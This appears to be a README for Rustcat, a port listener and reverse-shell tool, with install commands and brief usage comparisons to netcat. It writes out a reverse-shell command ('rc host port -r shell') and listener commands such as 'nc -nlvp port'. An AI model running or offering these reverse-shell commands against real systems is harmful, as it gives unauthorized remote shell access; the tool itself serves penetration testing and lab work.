| Cargo | Arch Linux | BlackArch | Debian/Kali
|:-------------------------------------:|:-------------------------------------:|:-------------------------------------:|:-------------------------------------:|
| ![cargoimg] | ![archimg] | ![barchimg] | ![kaliimg] |
| cargo install rustcat
| yay -S rustcat
| pacman -S rustcat
| Read the install guide|
| Other | | | |
| ![other_img] | | | |
| Read the install guide | | | |
🎨 Rustcat is a modern port listener & Reverse Shell that is very easy to use.
Starting a listener is just as simple as rc -lp port
. While in netcat you would do something like nc -nlvp port
to get the same results.
And creating a reverse shell has never been easier, rc host port -r shell
is all you need. No more long /dev/tcp stuff that you always forget.
Command history is something we all need. How annoying isn't it when you accidently type a long command wrong, then you have to rewrite the entire thing.
But Rustcat fixes that with command history. Just add -H and you will get command history (rc -lHp port
) and command completion, unlike netcat where you have to use another application and do rlwrap -cAr nc -nlvp port
to get the same results.
When adding -H, the shell will almost work like a ssh shell.
A little splash of color doesn't hurt :).
Rustcat supports unix and windows systems.
You can find the guide here
A basic usage guide can be found here